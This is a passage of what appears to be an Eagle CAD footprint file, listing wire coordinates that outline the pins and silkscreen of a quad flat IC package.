y1=\"8.8646\" x2=\"4.191\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1938\" y1=\"8.6106\" x2=\"-1.1938\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1938\" y1=\"8.8646\" x2=\"-0.8128\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.8128\" y1=\"8.8646\" x2=\"-0.8128\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.1976\" y1=\"8.6106\" x2=\"-6.1976\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.1976\" y1=\"8.8646\" x2=\"-5.8166\" y2=\"8.8646\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.8166\" y1=\"8.8646\" x2=\"-5.8166\" y2=\"8.6106\" width=\"0.1524\" layer=\"21\"/>\n<text x=\"-9.5758\" y=\"5.9944\" size=\"1.27\" layer=\"21\" ratio=\"6\" rot=\"SR0\">*</text>\n<wire x1=\"5.8674\" y1=\"7.0104\" x2=\"6.1468\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"7.0104\" x2=\"6.1468\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"6.1468\" y1=\"8.001\" x2=\"5.8674\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.8674\" y1=\"8.001\" x2=\"5.8674\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"7.0104\" x2=\"5.6388\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"7.0104\" x2=\"5.6388\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.6388\" y1=\"8.001\" x2=\"5.3594\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.3594\" y1=\"8.001\" x2=\"5.3594\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"7.0104\" x2=\"5.1308\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"7.0104\" x2=\"5.1308\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.1308\" y1=\"8.001\" x2=\"4.8768\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.8768\" y1=\"8.001\" x2=\"4.8768\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"7.0104\" x2=\"4.6228\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"7.0104\" x2=\"4.6228\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.6228\" y1=\"8.001\" x2=\"4.3688\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.3688\" y1=\"8.001\" x2=\"4.3688\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"7.0104\" x2=\"4.1402\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"7.0104\" x2=\"4.1402\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"4.1402\" y1=\"8.001\" x2=\"3.8608\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.8608\" y1=\"8.001\" x2=\"3.8608\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"7.0104\" x2=\"3.6322\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"7.0104\" x2=\"3.6322\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.6322\" y1=\"8.001\" x2=\"3.3528\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.3528\" y1=\"8.001\" x2=\"3.3528\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"7.0104\" x2=\"3.1242\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"7.0104\" x2=\"3.1242\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.1242\" y1=\"8.001\" x2=\"2.8702\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.8702\" y1=\"8.001\" x2=\"2.8702\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"7.0104\" x2=\"2.6416\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"7.0104\" x2=\"2.6416\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.6416\" y1=\"8.001\" x2=\"2.3622\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.3622\" y1=\"8.001\" x2=\"2.3622\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"7.0104\" x2=\"2.1336\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"7.0104\" x2=\"2.1336\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"2.1336\" y1=\"8.001\" x2=\"1.8542\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.8542\" y1=\"8.001\" x2=\"1.8542\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"7.0104\" x2=\"1.6256\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"7.0104\" x2=\"1.6256\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.6256\" y1=\"8.001\" x2=\"1.3716\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.3716\" y1=\"8.001\" x2=\"1.3716\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"7.0104\" x2=\"1.143\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"7.0104\" x2=\"1.143\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"1.143\" y1=\"8.001\" x2=\"0.8636\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.8636\" y1=\"8.001\" x2=\"0.8636\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"7.0104\" x2=\"0.635\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"7.0104\" x2=\"0.635\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.635\" y1=\"8.001\" x2=\"0.3556\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.3556\" y1=\"8.001\" x2=\"0.3556\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"7.0104\" x2=\"0.127\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"7.0104\" x2=\"0.127\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.127\" y1=\"8.001\" x2=\"-0.127\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.127\" y1=\"8.001\" x2=\"-0.127\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"7.0104\" x2=\"-0.3556\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"7.0104\" x2=\"-0.3556\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.3556\" y1=\"8.001\" x2=\"-0.635\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.635\" y1=\"8.001\" x2=\"-0.635\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"7.0104\" x2=\"-0.8636\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"7.0104\" x2=\"-0.8636\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.8636\" y1=\"8.001\" x2=\"-1.143\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.143\" y1=\"8.001\" x2=\"-1.143\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"7.0104\" x2=\"-1.3716\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"7.0104\" x2=\"-1.3716\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.3716\" y1=\"8.001\" x2=\"-1.6256\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.6256\" y1=\"8.001\" x2=\"-1.6256\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"7.0104\" x2=\"-1.8542\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"7.0104\" x2=\"-1.8542\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.8542\" y1=\"8.001\" x2=\"-2.1336\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.1336\" y1=\"8.001\" x2=\"-2.1336\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"7.0104\" x2=\"-2.3622\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"7.0104\" x2=\"-2.3622\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.3622\" y1=\"8.001\" x2=\"-2.6416\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.6416\" y1=\"8.001\" x2=\"-2.6416\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"7.0104\" x2=\"-2.8702\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"7.0104\" x2=\"-2.8702\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.8702\" y1=\"8.001\" x2=\"-3.1242\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.1242\" y1=\"8.001\" x2=\"-3.1242\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"7.0104\" x2=\"-3.3528\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"7.0104\" x2=\"-3.3528\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.3528\" y1=\"8.001\" x2=\"-3.6322\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.6322\" y1=\"8.001\" x2=\"-3.6322\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"7.0104\" x2=\"-3.8608\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"7.0104\" x2=\"-3.8608\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-3.8608\" y1=\"8.001\" x2=\"-4.1402\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.1402\" y1=\"8.001\" x2=\"-4.1402\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"7.0104\" x2=\"-4.3688\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"7.0104\" x2=\"-4.3688\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.3688\" y1=\"8.001\" x2=\"-4.6228\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.6228\" y1=\"8.001\" x2=\"-4.6228\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"7.0104\" x2=\"-4.8768\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"7.0104\" x2=\"-4.8768\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.8768\" y1=\"8.001\" x2=\"-5.1308\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.1308\" y1=\"8.001\" x2=\"-5.1308\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"7.0104\" x2=\"-5.3594\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"7.0104\" x2=\"-5.3594\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"8.001\" x2=\"-5.6388\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"8.001\" x2=\"-5.6388\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"7.0104\" x2=\"-5.8674\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"7.0104\" x2=\"-5.8674\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"8.001\" x2=\"-6.1468\" y2=\"8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"8.001\" x2=\"-6.1468\" y2=\"7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.8674\" x2=\"-7.0104\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"6.1468\" x2=\"-8.001\" y2=\"6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"6.1468\" x2=\"-8.001\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.8674\" x2=\"-7.0104\" y2=\"5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.3594\" x2=\"-7.0104\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.6388\" x2=\"-8.001\" y2=\"5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.6388\" x2=\"-8.001\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.3594\" x2=\"-7.0104\" y2=\"5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.8768\" x2=\"-7.0104\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"5.1308\" x2=\"-8.001\" y2=\"5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"5.1308\" x2=\"-8.001\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.8768\" x2=\"-7.0104\" y2=\"4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.3688\" x2=\"-7.0104\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.6228\" x2=\"-8.001\" y2=\"4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.6228\" x2=\"-8.001\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.3688\" x2=\"-7.0104\" y2=\"4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.8608\" x2=\"-7.0104\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"4.1402\" x2=\"-8.001\" y2=\"4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"4.1402\" x2=\"-8.001\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.8608\" x2=\"-7.0104\" y2=\"3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.3528\" x2=\"-7.0104\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.6322\" x2=\"-8.001\" y2=\"3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.6322\" x2=\"-8.001\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.3528\" x2=\"-7.0104\" y2=\"3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.8702\" x2=\"-7.0104\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"3.1242\" x2=\"-8.001\" y2=\"3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"3.1242\" x2=\"-8.001\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.8702\" x2=\"-7.0104\" y2=\"2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.3622\" x2=\"-7.0104\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.6416\" x2=\"-8.001\" y2=\"2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.6416\" x2=\"-8.001\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.3622\" x2=\"-7.0104\" y2=\"2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.8542\" x2=\"-7.0104\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"2.1336\" x2=\"-8.001\" y2=\"2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"2.1336\" x2=\"-8.001\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.8542\" x2=\"-7.0104\" y2=\"1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.3716\" x2=\"-7.0104\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.6256\" x2=\"-8.001\" y2=\"1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.6256\" x2=\"-8.001\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.3716\" x2=\"-7.0104\" y2=\"1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.8636\" x2=\"-7.0104\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"1.143\" x2=\"-8.001\" y2=\"1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"1.143\" x2=\"-8.001\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.8636\" x2=\"-7.0104\" y2=\"0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.3556\" x2=\"-7.0104\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.635\" x2=\"-8.001\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.635\" x2=\"-8.001\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.3556\" x2=\"-7.0104\" y2=\"0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.127\" x2=\"-7.0104\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"0.127\" x2=\"-8.001\" y2=\"0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"0.127\" x2=\"-8.001\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.127\" x2=\"-7.0104\" y2=\"-0.127\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.635\" x2=\"-7.0104\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.3556\" x2=\"-8.001\" y2=\"-0.3556\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.3556\" x2=\"-8.001\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.635\" x2=\"-7.0104\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.143\" x2=\"-7.0104\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-0.8636\" x2=\"-8.001\" y2=\"-0.8636\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-0.8636\" x2=\"-8.001\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.143\" x2=\"-7.0104\" y2=\"-1.143\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.6256\" x2=\"-7.0104\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.3716\" x2=\"-8.001\" y2=\"-1.3716\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.3716\" x2=\"-8.001\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.6256\" x2=\"-7.0104\" y2=\"-1.6256\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.1336\" x2=\"-7.0104\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-1.8542\" x2=\"-8.001\" y2=\"-1.8542\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-1.8542\" x2=\"-8.001\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.1336\" x2=\"-7.0104\" y2=\"-2.1336\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.6416\" x2=\"-7.0104\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.3622\" x2=\"-8.001\" y2=\"-2.3622\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.3622\" x2=\"-8.001\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.6416\" x2=\"-7.0104\" y2=\"-2.6416\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.1242\" x2=\"-7.0104\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-2.8702\" x2=\"-8.001\" y2=\"-2.8702\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-2.8702\" x2=\"-8.001\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.1242\" x2=\"-7.0104\" y2=\"-3.1242\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.6322\" x2=\"-7.0104\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.3528\" x2=\"-8.001\" y2=\"-3.3528\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.3528\" x2=\"-8.001\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.6322\" x2=\"-7.0104\" y2=\"-3.6322\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.1402\" x2=\"-7.0104\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-3.8608\" x2=\"-8.001\" y2=\"-3.8608\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-3.8608\" x2=\"-8.001\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.1402\" x2=\"-7.0104\" y2=\"-4.1402\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.6228\" x2=\"-7.0104\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.3688\" x2=\"-8.001\" y2=\"-4.3688\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.3688\" x2=\"-8.001\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.6228\" x2=\"-7.0104\" y2=\"-4.6228\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.1308\" x2=\"-7.0104\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-4.8768\" x2=\"-8.001\" y2=\"-4.8768\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-4.8768\" x2=\"-8.001\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.1308\" x2=\"-7.0104\" y2=\"-5.1308\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.6388\" x2=\"-7.0104\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.3594\" x2=\"-8.001\" y2=\"-5.3594\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.3594\" x2=\"-8.001\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.6388\" x2=\"-7.0104\" y2=\"-5.6388\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-6.1468\" x2=\"-7.0104\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-7.0104\" y1=\"-5.8674\" x2=\"-8.001\" y2=\"-5.8674\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-5.8674\" x2=\"-8.001\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-8.001\" y1=\"-6.1468\" x2=\"-7.0104\" y2=\"-6.1468\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"-7.0104\" x2=\"-6.1468\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"-7.0104\" x2=\"-6.1468\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-6.1468\" y1=\"-8.001\" x2=\"-5.8674\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.8674\" y1=\"-8.001\" x2=\"-5.8674\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.3594\" y1=\"-7.0104\" x2=\"-5.6388\" y2=\"-7.0104\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"-7.0104\" x2=\"-5.6388\" y2=\"-8.001\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-5.6388\" y1=\"-8.001\" x2=\"-5.3594\" y2=\"-8.001\" width=\"0.1524\" 